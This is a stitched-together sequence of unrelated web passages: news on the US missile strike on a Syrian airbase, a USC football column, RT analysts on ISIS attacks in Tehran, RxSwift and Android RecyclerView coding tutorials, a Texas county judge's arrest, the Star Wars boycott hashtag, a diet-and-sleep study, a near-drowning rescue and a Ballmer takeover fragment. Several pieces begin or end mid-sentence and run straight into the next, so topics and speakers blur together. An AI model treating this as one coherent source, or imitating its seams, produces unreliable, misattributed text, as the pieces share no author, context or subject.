A U.S. official said all but one of the 59 missiles struck their intended targets, hitting multiple aircraft and hardened air shelters, and destroying the fuel area. The official, who was not authorized to discuss initial reports, spoke on condition of anonymity. A U.S.-led coalition has been bombing Daesh, also known as ISIS or ISIL, in Syria since 2014, while Russia’s air force has been striking both extremist groups and Syrian rebels in order to aid Assad’s forces. Saudi Arabia and Turkey, which support the Syrian opposition, welcomed the missile strike, with Riyadh calling it a “courageous decision” by Trump. Iran called it a “dangerous” unilateral action that would “strengthen terrorists” and further complicate the conflict. The British government says it was informed in advance about the strike and firmly supports the American action. Prime Minister Theresa May’s office says the action was “an appropriate response to the barbaric chemical weapons attack launched by the Syrian regime, and is intended to deter further attacks.” France, Italy and Israel also welcomed the strikes.
Syrian state-run television shows the aftermath of U.S. air strikes that hit an airbase near the Syrian city of Homs.
The opposition Syrian Coalition said the U.S. attack puts an end to an age of “impunity” and should herald the start of a larger campaign against Damascus. Maj. Jamil al-Saleh, a U.S-backed rebel commander based in the area where the U.S. attack took place, told The Associated Press he hoped the strike would be a “turning point” in the six-year-old war, which has killed an estimated 400,000 people. Assad had been under mounting international pressure after the chemical attack on the northern town of Khan Sheikhoun, which killed 87 people, including 31 children. Even Russia has said its support is not unconditional. Syria rejected the accusations, and blames opposition fighters for stockpiling the chemicals. Russia has said the toxic agents were released when a Syrian airstrike hit a rebel chemical weapons arsenal, and that blame should not be apportioned until a full investigation has been completed. Russia’s military intervention in Syria has turned the balance of power in Assad’s favour, and Moscow has used its veto power at the Security Council on several occasions to prevent sanctions against Damascus. The U.S. had initially focused on diplomatic efforts, pressing the UN Security Council to adopt a resolution drafted with Britain and France that would have condemned Syria’s suspected use of chemical weapons. But the vote was cancelled because of differences among the 15 members. The Security Council plans to meet at 11:30 a.m. local time for a briefing on the U.S. strike.
Russia says a U.S. strike on a Syrian airbase poses a threat to international security but Britain and Turkey back the action.
In Geneva, the UN envoy for Syria told the AP his office is in “crisis” mode after the strike, and that he would soon convene an urgent meeting of a Syrian ceasefire task force chaired by the United States and Russia. Staffan de Mistura said Russia requested the meeting, which was “agreed upon” by the United States. The envoy has been spearheading peacemaking efforts for nearly three years, with little progress. Trump had said the chemical attack crossed “many, many lines,” and put the blame squarely on Assad’s forces. Speaking Thursday on Air Force One, Trump said the attack “shouldn’t have happened, and it shouldn’t be allowed to happen.” A survivor of the chemical attack said he hopes the U.S. missile attack puts an end to government airstrikes, creating a safe area for civilians. Alaa Alyousef, who lost 25 relatives in the chemical attack, said the U.S. missile strike “alleviates a small part of our suffering,” but he worries it will be an “anesthetic” that merely numbs the pain while allowing the international community to save face.
Read more about:In the same week that the Kevin Sumlin to USC rumors began, as discussed by Scooby Axson of SI Wire, the Trojans’ current head coach—the one who has been viewed as nothing more than a caregiver since taking over—delivered yet another impressive victory.
Ed Orgeron was not supposed to make the head coaching search at USC this interesting. And there wasn’t supposed to be a case for keeping him on. He was supposed to take over, improve the morale—which he has most certainly done—and then maybe, just maybe, guide USC to a mid-tier bowl.
At that point, he would be let go, free to pursue other jobs, and USC would hire the biggest name it could.
Kirby Lee-USA TODAY Sports
Expectations were low, and the move to an interim coach with head coaching experience was nothing more than a duct-tape solution. That will likely remain the case, regardless of how USC closes out the season, but at the very least, Orgeron is making the most of his unexpected time.
It’s getting increasingly difficult to ignore, regardless of what’s going on behind the scenes.
Of course, beating Cal—now a 1-9 team—doesn’t warrant a parade. It also doesn’t warrant a new contract to be the next “official” USC coach. This was a game that USC was supposed to win, and it did.
As has been the theme since Orgeron took over, however, it’s not just about a checkmark in the win column. The team has looked much more polished, particularly on offense, and there was a quiet confidence on display during the 62-28 blowout victory on Saturday.
Under Orgeron, the output has increased a great deal. Given his run as head coach at Ole Miss, the avalanche of points wasn't exactly anticipated.
Ed Orgeron's #OleMiss team scored over 30 pts once in his 3 seasons. #USC up 55-14, marking 3rd time in his 5 games #Trojans have scored 30+ — Bruce Feldman (@BFeldmanCBS) November 9, 2013
Offensively, USC has taken massive strides in recent weeks, and it did so again. The Trojans totaled 499 yards of offense, and the running attack was the catalyst of it all.
This week, it was sophomore Javorius Allen and true freshman Ty Isaac doing the heavy lifting at running back, scoring two touchdowns apiece. On the afternoon, USC rushed for 256 yards on only 29 carries.
It wasn't just the backs, though. USC's special teams had an enormous first half, and that helped generate separation. Nelson Agholor returned two punts for touchdowns, and the Trojans tacked on a blocked punt returned for a score.
With Cal thoroughly handled and in the rearview, USC is now 7-3 on the season and 4-1 since Lane Kiffin was relieved of his duties and Orgeron took over. The season is no longer lost, and suddenly next week’s game against Stanford has meaning.
Although Stanford is flying high after beating Oregon—as it should—the assumption of a cakewalk win in L.A. is premature. USC plays a similar brand of football, and the Trojans’ stout defensive line will provide a much different challenge. This will not be finesse football, and neither team would have it that way.
This is a very real obstacle for Stanford as it tries to play its way back into the national championship discussion.
For Orgeron, this game is yet another showcase, an opportunity to improve his unlikely case to stay on as head coach. He’s already playing with house money, so why not let it ride a little longer? It's gotten him this far.
He certainly knows what's at stake.
Ed Orgeron on playing Stanford: ``We all know what's coming up next week.'' — InsideUSC (@InsideUSC) November 10, 2013
There are more experienced candidates out there, and names like Sumlin and Chris Petersen will carry more weight (and, of course, more money) than the man who was once run out at Ole Miss. But at USC, Orgeron’s influence has been real, and the results have followed.
The likelihood of him being the head coach in So. Cal in 2014 is still an enormous long shot, but the discussion over whether he should have a chance beyond this season is real. It is warranted. And if USC is able to pull the upset over Stanford next weekend, the momentum to keep him will be difficult to ignore.It’s highly possible ISIS was, as it claims, behind the attacks in Iran as the group is interested in stirring up a Sunni-Shiite conflict, analysts told RT. However, other groups and regional player involvement can’t be ruled out, they add.
ISIS has claimed it is behind the twin attacks at the Iranian parliament and Ayatollah Khomeini’s shrine in Tehran that killed at least 12 people and injured dozens more.
Read more
Mark Almond, director of the Crisis Research Institute, doesn’t rule it out as it is “certainly a possibility” that ISIS was behind the attacks, however, other terrorist groups could also be involved.
“ISIS has an interest in stirring up a Sunni-Shiite conflict. Iran is the major Shia power in the Muslim world, and there are big tensions between Iran and its Sunni neighbors – particularly Saudi Arabia. But also Iran has been helping both the Shia-led government of Iraq… to fight against ISIS in Northern Iraq and Mosul. Also, it helps President Bashar Assad in Syria against ISIS. So they have an agenda that makes sense for the ISIS group to try to stir up trouble to distract attention to attack its enemy,” he told RT.
The expert also mentioned an anti-Iran Mujahedeen group based in Iraqi areas “controlled by the US or by its Kurdish allies.”
“So one other dangerous conflict along with the Sunni- Shia conflict – is some Iranians are already pointing the finger at the Kurds of the Northern Iraq, and saying these attackers were trained or facilitated in the Northern Iraq in the Kurdish area. So we have conflicting claims but they are symptoms of deep antagonisms within the region.”
“One big ramification [of the attacks] is how it links into the current crisis between Saudi Arabia and Qatar – between the biggest Sunni fundamentalist state and its oil and gas-rich neighbor - because Qatar has good relations with Iran. Saudi Arabia, its allies, and President Trump have said that Qatar is a problem because of its relations with Iran, because of its media, its Al Jazeera station is supporting radical critics of the monarchies. But also because they say it support fundamentalist terrorist groups in Syria and Iraq, which is a little bit the pot calling the kettle black, after all. It is rather like Saudi Arabia is in a sense the paymaster of terrorism accusing the quartermaster of terrorism of supporting terrorism.”
Middle East expert Catherine Shakdam said it was “expected” that ISIS would claim responsibility for the bloody events in Tehran.
“I’m going back to what Prince Salman said in Washington just a few weeks ago. Then the kind of behavior ISIS has demonstrated toward Iran and the threats that have been made by many radicals, because Iran is being perceived as representing, even though it doesn’t claim to do so – Shia Islam. Then, therefore, Iran has become a target,” she told RT.
The political agenda has also to be considered, she added.
“Iran has just conducted quite successfully it is presidential elections, everything went according to plan: it was peaceful, it was progressive. Iranians decided what future they wanted for their country – they reelected President [Hassan] Rouhani.”
The timing of the attack and the fact the parliament was targeted makes it clear that there is a desire to spread fear and “make people have a sense of insecurity and maybe doubt in their officials and how they can protect them within their own borders and territory,” Shakdam told RT.
The analyst is confident there is “more than a connection” between the attacks and Saudi Arabia.
“We have to stop tiptoeing around the idea that Saudi Arabia has nothing to do with ISIS. If anything ISIS is the weapon that Saudi Arabia has wielded around the world to promote its agenda. ISIS has bred on Wahhabism. Wahhabism is the state religion of Saudi Arabia,” she said. “We have to wake to this narrative and stop looking the other way just because Saudi Arabia has a lot of money to throw at people and media so that people turn away and remain silent.”
Praising Saudi Arabia as a US friend because of their arms deal, Trump said that would bring Americans “jobs, jobs, jobs.”
“I don’t know about 'jobs, jobs, jobs,' what I know that on the back of this deal then you had the Manchester attack, and then you had the Baghdad attack, where people were murdered just as they were stepping outside having ice-creams,” Shakdam said. “You have to realize that foreign policy has a direct impact on what is happening in the world today in terms of terrorism and the promotion of terrorism.”
Saudi Arabia, in her opinion, was offered a carte blanche. The Saudi regime, according to the analyst, “are the ideologues” of ISIS.”
“And now they are trying to pin it on Qatar. I am not saying that Qatar is an innocent party here…But at the same you can’t just blame one, and not understand that it’s stemming from the same idea, from the same ideology, from the same narrative of exclusion, sectarianism,” Shakdam added.
Saudi Wahhabi ideology is to be blamed for the Tehran attacks even if the Saudis were not involved, says Mohammad Marandi, political analyst, University of Tehran.
He recalled that ISIS “attempted to carry out different attacks in Iran over the past few years, but their people were captured."
“One main reason why the Iranians are in Syria and in Iraq was, because from the very beginning in Syria these groups were being funded from the outside, and the Iranians knew that if Syria and Iraq fell, then this catastrophe that we’re seeing in these two countries and have been seeing, will extend to Iran. I think it is quite probable that ISIS was behind it. But at the end of the day, it is Saudi Wahhabi ideology that is the main culprit,” he told RT.
Hamed Mousavi, a professor of political science at the University of Tehran says that just weeks ago ISIS published an anti-Iran video.
“In that video, they make it very clear that they believe Iran, Russia, and Assad are fighting ISIS forces within Syria and in Iraq. Essentially they want to retaliate. They have openly said that they would do so,” he told RT.
“Nevertheless, within Iran, the mood is very anti-Saudi at the moment because Saudi Arabia in recent weeks [has] threatened Iran on numerous occasions – both Mohammad bin Salman [Al Saud], the deputy crown prince, as well as Adel al-Jubeir, the foreign minister of Saudi Arabia. In Iran, if this turns out to be ISIS, then Iranian authorities will see Saudi Arabia as being responsible for this,” Mousavi added.Learn how to use RxSwift and RxCocoa to write applications that can react to changes in your underlying data without you telling it to do so.
It’s great when code does exactly what you tell it to (unlike my cat). Change something in the program, tell the code to update, and it does. Good code!
Most programming in the Object-Oriented era has been imperative like that: Your code tells your program what to do and has many ways to listen to changes—but you generally must actively tell the system when something changes.
That’s fine as far as it goes, but wouldn’t it be even better if you could set things up so that when something in your app changes, the code updates automatically? That’s the basic idea of reactive programming: your application can react to changes in the underlying data without you telling it to do so directly. This makes it easier to focus on the logic at hand rather than maintaining a particular state.
This can be achieved in vanilla Objective-C or Swift, mostly through Key-Value Observation and using overridden setters or the didSet method in Swift, but sometimes those methods can be cumbersome to set up correctly. To avoid this problem, there are several different frameworks in both Objective-C and Swift to facilitate the use of reactive programming.
Note: If you’d like more background, Rui Peres has written a great article outlining the differences between major frameworks. The comments section is also an interesting window into how passionate folks can get about which framework is better.
Today you’ll use one of these frameworks, RxSwift, and its companion RxCocoa, to take a chocolate-buying app from annoyingly imperative to awesomely reactive.
What are RxSwift and RxCocoa?
RxSwift and RxCocoa are part of the suite of ReactiveX (usually abbreviated to “Rx”) language tools that span multiple programming languages and platforms.
While ReactiveX started as part of the.NET/C# ecosystem, it has grown extremely popular with Rubyists, JavaScripters and particularly Java and Android developers.
RxSwift is a framework for interacting with the Swift programming language, while RxCocoa is a framework that helps make Cocoa APIs used in iOS and OS X easier to use with reactive techniques.
ReactiveX frameworks are designed to be helpful by providing a common vocabulary for certain tasks used repeatedly across different programming languages. This (theoretically) makes it easier to focus on the syntax of the language itself, rather than wasting time figuring out how to map a common task to each new language.
Observables and Observers
Two concepts to be aware of for this tutorial are the Observable and the Observer.
An Observable is something which emits notifications of change.
An Observer is something which subscribes to an Observable, in order to be notified when it has changed.
You can have multiple Observers listening to an Observable. This means that when the Observable changes, it will notify all its Observers.
The DisposeBag
RxSwift and RxCocoa also have an additional tool to help deal with ARC and memory management: the DisposeBag. This is a virtual “bag” of Observer objects which are disposed of when their parent object is deallocated.
When deinit() is called on the object which has a DisposeBag as a property, the bag is “emptied” and each disposable Observer is automatically unsubscribed from what it was observing. This allows ARC to take back memory as it normally would.
Without a DisposeBag, you’d get one of two results: either the Observer would create a retain cycle, hanging on to what it’s observing indefinitely, or it could get deallocated out from under your object, causing a crash.
So to be a good ARC citizen, remember to add any Observable objects to the DisposeBag when you set them up. That way, they’ll be cleaned up nicely for you.
Getting Started
Let’s get to the chocolate! The starter app for this tutorial, Chocotastic, is available here. Download the zip file and and open the project in Xcode.
Note: The project utilizes CocoaPods, so you’ll need to open the Chocotastic.xcworkspace file in Xcode.
Build and run the application. Eventually you’ll see the following screen, which lists several kinds of chocolate you can buy from Europe, along with respective prices:
Tapping on a chocolate row will add that product to your cart:
Tap on the cart in the upper right-hand corner to be taken to a page where you can either check out or reset the cart.
If you choose Checkout, a credit card entry form will be presented:
Later in the tutorial, you’ll come back to set this up using purely reactive programming. Tap the Cart button to return to the cart summary, then tap the Reset button to return to the main screen with an empty cart.
The Starting Point: Non-reactive
Now that you’ve seen what the application does, it’s time to examine how it works. Open ChocolatesOfTheWorldViewController.swift, where you’ll see some pretty standard UITableViewDelegate and UITableViewDataSource extensions.
There’s also a method, updateCartButton(), which updates the cart button with the current number of chocolates in the cart. This is called from two different places: in viewWillAppear(_:), whenever the view controller is about to be shown, and in tableView(_:didSelectRowAt:), after a new chocolate has been added to the cart.
These are both imperative ways of changing the count: you must explicitly call the method to update the count.
Right now you have to keep track of where you’re changing the value, but you’re going to rewrite the code to use a reactive technique. That way, the button will update on its own no matter how or where the count is changed.
RxSwift: Making the Cart Count Reactive
All of the methods referring to items in the cart use a ShoppingCart.sharedCart singleton. Open up ShoppingCart.swift and you’ll see a pretty standard setup of a variable on the singleton instance:
var chocolates = [Chocolate]()
Right now, changes to the contents of chocolates can’t really be observed. You could add a didSet closure to its definition, but that would only get called when the entire array, rather than any of its elements, was updated.
Fortunately, RxSwift has a solution. Replace the line creating the chocolates variable with this:
let chocolates: Variable<[Chocolate]> = Variable([])
Note: This change will cause a bunch of errors to show up in the sidebar, but you’ll fix those in a moment.
This syntax can be a little hard to wrap your head around, so it helps to understand what’s going on under the hood.
Rather than setting chocolates to a Swift array of Chocolates objects, you’ve now defined it as a RxSwift Variable that has a type of a Swift array of Chocolate objects.
Variable is a class, so it uses reference semantics—meaning that chocolates refers to an instance of Variable.
Variable has a property called value. This is where your array of Chocolate objects is stored.
The magic of Variable comes from a method called asObservable(). Instead of manually checking value every time, you can add an Observer to keep an eye on the value for you. When the value changes, the Observer lets you know so you can react to any updates.
The downside of this setup is that if you need to access or change something in that array of Chocolates, you must do it via the value property rather than directly; that’s why the compiler is throwing a tantrum and a fistful of errors. Time to fix them up!
In ShoppingCart.swift, look for the method totalCost() and change this line:
return chocolates.reduce(0) {
to:
return chocolates.value.reduce(0) {
In itemCountString(), change:
guard chocolates.count > 0 else {
to:
guard chocolates.value.count > 0 else {
and change:
let setOfChocolates = Set<Chocolate>(chocolates)
to:
let setOfChocolates = Set<Chocolate>(chocolates.value)
Finally, change:
let count: Int = chocolates.reduce(0) {
to:
let count: Int = chocolates.value.reduce(0) {
In CartViewController.swift, find reset() and change:
ShoppingCart.sharedCart.chocolates = []
to:
ShoppingCart.sharedCart.chocolates.value = []
Back in ChocolatesOfTheWorldViewController.swift, change the implementation of updateCartButton() to this:
cartButton.title = "\(ShoppingCart.sharedCart.chocolates.value.count) \u{1f36b}"
and in tableView(_:didSelectRowAt:), change this line:
ShoppingCart.sharedCart.chocolates.append(chocolate)
to the following:
ShoppingCart.sharedCart.chocolates.value.append(chocolate)
Whew! After all that, Xcode will be happy and there should be no errors. Now you can take advantage of the fact that chocolates can now be observed!
Go to ChocolatesOfTheWorldViewController.swift and add the following to the list of properties:
let disposeBag = DisposeBag()
This creates a DisposeBag you’ll use to ensure that the Observers you set up will be cleaned up when deinit() is called.
Add the following under the //MARK: Rx Setup comment:
//MARK: Rx Setup private func setupCartObserver() { //1 ShoppingCart.sharedCart.chocolates.asObservable().subscribe(onNext: { //2 chocolates in self.cartButton.title = "\(chocolates.count) \u{1f36b}" }).addDisposableTo(disposeBag) //3 }
This sets up a reactive Observer to update the cart automatically. As you can see, RxSwift makes heavy use of chained functions, meaning that each function takes the result of the previous function.
How that’s happening in this case:
First, you grab the shopping cart’s chocolates variable as an Observable. You call subscribe(onNext:) on that Observable in order to find out about changes to the Observable’s value. subscribe(onNext:) accepts a closure that will be executed every time the value changes. The incoming parameter to the closure is the new value of your Observable, and you’ll keep getting these notifications until you either unsubscribe or your subscription is disposed. What you get back from this method is an Observer conforming to Disposable. You add the Observer from the previous step to your disposeBag to ensure that your subscription is disposed of when the subscribing object is deallocated.
To finish up, delete the imperative updateCartButton() method. This will cause errors to appear where it was being called in viewWillAppear(_:) and tableView(_:didSelectRowAt:).
To fix them, delete the entire viewWillAppear(_:) method (since calling updateCartButton() is the only thing it’s doing beyond calling super ), then delete the call to updateCartButton() in tableView(_:didSelectRowAt:).
Build and run. You’ll see the list of chocolates:
But notice that the button for the cart just says “Item”. And that when you start tapping on the list of chocolates, nothing happens. What went wrong?
You created a function to set up your Rx Observers, but right now there’s nothing actually calling that function, so the Observers aren’t being set up. To fix this, add the following to viewDidLoad() :
setupCartObserver()
Build and run the application to see the list of chocolates again:
Tap on some chocolates—the number of items in the cart now automatically updates!
Success! All the chocolates can now be added to the cart.
RxCocoa: Making the TableView Reactive
Now that you’ve made the cart reactive using RxSwift, you’ll use RxCocoa to make your UITableView reactive too.
RxCocoa has reactive APIs for several different types of UI element. These give you options to set up things like UITableViews without the need to override delegate or data source methods directly.
To demonstrate how this works, delete the entire UITableViewDataSource and UITableViewDelegate extensions and all of their methods. Next, delete the assignments to tableView.dataSource and tableView.delegate from viewDidLoad().
Build and run the application, and you’ll see that your happy little table view full of chocolates has suddenly become quite sad and empty:
That’s no fun. Time to restore the chocolates!
First, in order to have a reactive table view, you need something for the table view to react to. Still in ChocolatesOfTheWorldViewController.swift, update the europeanChocolates property to be an Observable:
let europeanChocolates = Observable.just(Chocolate.ofEurope)
The just(_:) method indicates that there won’t actually be any changes to the underlying value of the Observable |
000 bail and reportedly attended the two-day seminar that began Tuesday.
News of Wiggins' arrest only reached most Guadalupe County officials in Seguin on Thursday afternoon, leaving many stunned.
“It's pretty much shocked everybody. That's the only way to describe it,” said one county official who asked not to be named.
A bellman called police about 11 p.m. Monday evening after detecting the smell of burning marijuana on the fifth floor hallway of the Hilton College Station, said Seaton.
She said the responding officer traced the smell to one room, the bellman knocked, and “an overwhelming odor of marijuana” wafted out when Wiggins opened the door.
Wiggins, alone in the room, was cooperative, identified himself and admitted he had been smoking marijuana, Seaton said.
She said a baggie of marijuana, a grinder and rolling papers were found in Wiggins' duffle bag.
Wiggins couldn't be reached for comment Thursday.
A story in the Seguin Gazette quoted him as not denying the alleged drug possession and remarking, “It is what it is.”
The arrest could hold implications for Wiggins' duties since, in addition to being the county's chief administrator, he sometimes magistrates criminal defendants and holds juvenile detention hearings.
Precinct 2 Commissioner and County Judge Pro-Tem Kyle Kutscher, shocked to learn of the arrest, said he was told Wiggins was going to speak publicly today.
Wiggins, who is in his second term as county judge, previously worked 30 years for the state, including 14 years with the Department of Public Safety, where he was a sergeant stationed in Guadalupe County, the website said.
mmondo@express-news.netThe hashtag #BoycottStarWarsVII was trending after claims that casting John Boyega was ‘anti-white propaganda’ while Ava DuVernay called for positivity
The release of the new Star Wars trailer has been met with excitement online except by a small faction of Twitter users who called for a boycott of the upcoming sequel, claiming it to be “anti-white propaganda”.
Star Wars: The Force Awakens – new trailer features Rey, Finn and Kylo Ren Read more
The hashtag #BoycottStarWarsVII was started after trolls were angry over the casting of black actor John Boyega, claiming the film was promoting “white genocide”. The same user also referred to director JJ Abrams as a “Jewish activist”.
It started trending but other users took control of the hashtag and the majority of the tweets were calling out the bigotry behind its initial creation.
Audra McDonald (@AudraEqualityMc) #BoycottStarWarsVII folks, Lemme get this straight: Wookies, Ewoks & Droids are fine but a BLACK PERSON is a problem? Go home.You're Drunk.
Marc Fennell (@marcfennell) Just wondering if any of the #BoycottStarWarsVII idiot brigade have worked out that a black man voiced Darth Vader
Selma director Ava DuVernay also weighed in, creating #CelebrateStarWarsVII in response.
This hashtag then led to a series of positive tweets, highlighting and praising the diversity of both the cast and the fanbase.
It’s not the first time that the casting of British actor Boyega, best known for his role in Attack the Block, has caused ire amongst a certain group of fans. Questions over the legitimacy of a black stormtrooper led to Boyega himself calling the reaction “prejudiced”.
John Boyega in Star Wars: The Force Awakens. Photograph: YouTube
“I’m in the movie, what are you going to do about it?” he told V magazine. “You either enjoy it or you don’t. I’m not saying get used to the future... [it] is already happening. People of colour and women are increasingly being shown on screen. For things to be whitewashed just doesn’t make sense.”
The trailer for Star Wars: The Force Awakens has already had over 4m views. Yesterday also saw online ticketing open for the film and lead to the crashing of a number of key sites, due to overwhelming demand.A new study found that eating less fiber, more saturated fat and more sugar is associated with lighter, less restorative, and more disrupted sleep.
Results show that greater fiber intake predicted more time spent in the stage of deep, slow wave sleep. In contrast, a higher percentage of energy from saturated fat predicted less slow wave sleep. Greater sugar intake also was associated with more arousals from sleep.
"Our main finding was that diet quality influenced sleep quality," said principal investigator Marie-Pierre St-Onge, PhD, assistant professor in the department of medicine and Institute of Human Nutrition at Columbia University Medical Center in New York, N.Y. "It was most surprising that a single day of greater fat intake and lower fiber could influence sleep parameters."
Study results are published in the January issue of the Journal of Clinical Sleep Medicine.
"This study emphasizes the fact that diet and sleep are interwoven in the fabric of a healthy lifestyle," said American Academy of Sleep Medicine President Dr. Nathaniel Watson, who was not involved in the study. "For optimal health it is important to make lifestyle choices that promote healthy sleep, such as eating a nutritious diet and exercising regularly."
The study also found that participants fell asleep faster after eating fixed meals provided by a nutritionist, which were lower in saturated fat and higher in protein than self-selected meals. It took participants an average of 29 minutes to fall asleep after consuming foods and beverages of their choice, but only 17 minutes to fall asleep after eating controlled meals.
"The finding that diet can influence sleep has tremendous health implications, given the increasing recognition of the role of sleep in the development of chronic disorders such as hypertension, diabetes and cardiovascular disease," said St-Onge.
The randomized, crossover study involved 26 adults -- 13 men and 13 women -- who had a normal weight and an average age of 35 years. During 5 nights in a sleep lab, participants spent 9 hours in bed from 10 p.m. to 7 a.m., sleeping for 7 hours and 35 minutes on average per night. Objective sleep data were gathered nightly by polysomnograhy. Sleep data were analyzed from night 3, after 3 days of controlled feeding, and night 5, after one day of ad libitum food intake.
According to the authors, the study suggests that diet-based recommendations might be used to improve sleep in those with poor sleep quality. However, future studies are needed to evaluate this relationship.There are many tutorials, libraries, and examples for implementing “drag & drop” and “swipe-to-dismiss” in Android, using RecyclerView. Most are still using the old View.OnDragListener, and Roman Nurik’s SwipeToDismiss approach, even though there are newer, and better, methods available. A few use the newer APIs, but often rely on GestureDetectors and onInterceptTouchEvent, or the implementation is complex. There’s actually a really simple way to add these features to RecyclerView. It only requires one class, and it’s already part of the Android Support Library:
ItemTouchHelper is a powerful utility that takes care of everything you need to add both drag & drop and swipe-to-dismiss to your RecyclerView. It’s a subclass of RecyclerView.ItemDecoration, which means it’s easily added to almost-any existing LayoutManager and Adapter(!). It also works with existing item animations, and gives you type-restricted dragging, drop settling animations, and much more. In this article, I’ll demonstrate a simple implementation of ItemTouchHelper. Later, in this series, we’ll expand the scope and explore more features.
Skip ahead
Just interested in seeing the completed source? Jump to Github: Android-ItemTouchHelper-Demo. The first commit lines up with this article. Download the demo apk from here.
Setting up
First thing we need is a basic RecyclerView setup. If you haven’t already, update your build.gradle to include the RecyclerView dependency.
compile 'com.android.support:recyclerview-v7:22.2.0'
ItemTouchHelper will work with almost any RecyclerView.Adapter and LayoutManager, but the article will build off the basic files found in this Gist:
https://gist.github.com/iPaulPro/2216ea5e14818056cfcc
Using ItemTouchHelper and ItemTouchHelper.Callback
In order to use ItemTouchHelper, you’ll create an ItemTouchHelper.Callback. This is the interface that allows you to listen for “move” and “swipe” events. It’s also where you are able to control the state of the view selected, and override the default animations. There’s a helper class that you can use if you want a basic implementation, SimpleCallback, but for the purposes of learning how it works, we’ll make our own.
The main callbacks that we must override to enable basic drag & drop and swipe-to-dismiss are:
getMovementFlags(RecyclerView, ViewHolder)
onMove(RecyclerView, ViewHolder, ViewHolder)
onSwiped(ViewHolder, int)
We’ll also use a couple of helpers:
isLongPressDragEnabled()
isItemViewSwipeEnabled()
We’ll go through them one by one.
@Override
public int getMovementFlags(RecyclerView recyclerView,
RecyclerView.ViewHolder viewHolder) {
int dragFlags = ItemTouchHelper.UP | ItemTouchHelper.DOWN;
int swipeFlags = ItemTouchHelper.START | ItemTouchHelper.END;
return makeMovementFlags(dragFlags, swipeFlags);
}
ItemTouchHelper allows you to easily determine the direction of an event. You must override getMovementFlags() to specify which directions of drags and swipes are supported. Use the helper ItemTouchHelper.makeMovementFlags(int, int) to build the returned flags. We’re enabling dragging and swiping in both directions here.
@Override
public boolean isLongPressDragEnabled() {
return true;
}
ItemTouchHelper can be used for drag without swipe (or vice versa), so you must designate exactly what you wish to support. Implementations should return true from isLongPressDragEnabled() in order to support starting drag events from a long press on a RecyclerView item. Alternatively, ItemTouchHelper.startDrag(RecyclerView.ViewHolder) can be called to start a drag from a “handle.” This will be explored further later.
@Override
public boolean isItemViewSwipeEnabled() {
return true;
}
To enable swiping from touch events that start anywhere within the view, simply return true from isItemViewSwipeEnabled(). Alternatively, ItemTouchHelper.startSwipe(RecyclerView.ViewHolder) can be called to start a drag manually.
The next two, onMove() and onSwiped() are needed to notify anything in charge of updating the underlying data. So first we’ll create an interface that allows us to pass these event callbacks back up the chain.
public interface ItemTouchHelperAdapter {
void onItemMove(int fromPosition, int toPosition);
void onItemDismiss(int position);
}
ItemTouchHelperAdapter.java Gist
The simplest way to do this, for the sake of this example, is to have our RecyclerListAdapter implement the listener.
public class RecyclerListAdapter extends
RecyclerView.Adapter<ItemViewHolder>
implements ItemTouchHelperAdapter {
//... code from gist
@Override
public void onItemDismiss(int position) {
mItems.remove(position);
notifyItemRemoved(position);
}
@Override
public boolean onItemMove(int fromPosition, int toPosition) {
if (fromPosition < toPosition) {
for (int i = fromPosition; i < toPosition; i++) {
Collections.swap(mItems, i, i + 1);
}
} else {
for (int i = fromPosition; i > toPosition; i--) {
Collections.swap(mItems, i, i - 1);
}
}
notifyItemMoved(fromPosition, toPosition);
return true;
}
It’s very important to call notifyItemRemoved() and notifyItemMoved() so the Adapter is aware of the changes. It’s also important to note that we’re changing the position of the item every time the view is shifted to a new index, and not at the end of a “drop” event.
Now we can go back to building our SimpleItemTouchHelperCallback as we still must override onMove() and onSwiped(). First add a constructor and a field for the Adapter:
private final ItemTouchHelperAdapter mAdapter;
public SimpleItemTouchHelperCallback(
ItemTouchHelperAdapter adapter) {
mAdapter = adapter;
}
Then override the remaining events and notify the adapter:
@Override
public boolean onMove(RecyclerView recyclerView,
RecyclerView.ViewHolder viewHolder,
RecyclerView.ViewHolder target) {
mAdapter.onItemMove(viewHolder.getAdapterPosition(),
target.getAdapterPosition());
return true;
}
@Override
public void onSwiped(RecyclerView.ViewHolder viewHolder,
int direction) {
mAdapter.onItemDismiss(viewHolder.getAdapterPosition());
}
The resulting Callback class should look something like this:
With our Callback ready, we can create our ItemTouchHelper and call attachToRecyclerView(RecyclerView) (e.g. in MainFragment.java):
ItemTouchHelper.Callback callback =
new SimpleItemTouchHelperCallback(adapter);
ItemTouchHelper touchHelper = new ItemTouchHelper(callback);
touchHelper.attachToRecyclerView(recyclerView);
When you run, it should look something like this:
Conclusion
This is a bare-bones implementation of ItemTouchHelper. However, it should be clear that a third-party library is not needed for basic drag & drop and swipe-to-dismiss with RecyclerView. In the next part, we’ll take more control over the appearance of the items while being dragged or swiped.
Source code
I created a project on GitHub to demonstrate the things covered in this article series: Android-ItemTouchHelper-Demo. The first commit corresponds to this part, and also has a bit of part 2 in it.
Next Parts
Part Two: Handles, Grids, and Custom AnimationsA California mom is calling Police Officer Matt Olin and “angel from God” for rushing to her 4-year-old daughter’s aid after she nearly drowned in the family pool and had stopped breathing.
The girl’s mother, Sara Villasenor, says her daughter Nina and 6-year-old son Rikki were swimming in her dad’s pool in Costa Mesa, Calif., Monday evening while their grandpa was watching from inside. Villasenor said she went inside to use the restroom and two minutes later, heard her son screaming.
Nina had slipped off her floaties and went underwater.
“All I see is my daughter completely blue, not breathing, lifeless, foaming at the mouth,” Sara told ABC News today.
Rikki was able to push his sister Nina towards the steps, where Nina’s grandpa picked her up and began performing CPR.
The mom took her daughter inside and called 9-1-1.
“It was a hysterical call,” Sgt. Matt Grimmond told ABC News. “She was screaming hysterically saying ‘My child fell in the pool, she’s not breathing.’”
Officer Olin responded first and found the girl turning gray, so he started performing CPR.
“He is an angel from God,” Sara said. “He was at the right place at the right time.”
After about a minute, Nina started breathing again.
“I just knew that God was there and she wasn’t going to go anywhere,” Villasenor said. “When he got that first breath going, it was such a huge sigh of relief.”
Nina was taken to the hospital and stayed overnight. She finally started talking and responding about eight hours after the incident. Her mother said Olin even showed up at the hospital to check on Nina. She said she can’t thank him enough for his care, concern, and humility. ”I owe my life to him and am forever indebted to him.”
Sgt. Grimmond says the incident serves as a reminder for parents to never leave children unattended in the pool, jacuzzi or bathtub.
“In less than a minute these kids can die,” Grimmond said. “That’s what saved her, us getting there quick. Every second oxygen is leaving the brain, it’s another second that kid is not getting back.”
“If we saved at least another life through Nina’s story, that’s my daughter’s purpose,” VilMr. Ballmer said he had decided to pursue a takeover because friendly deal negotiations would most likely be protracted and would probably become public.
“These things are hard to keep quiet in the best of times,” he said. He said his conversation with Mr. Yang was constructive, but suggested that a deal may not come easily.
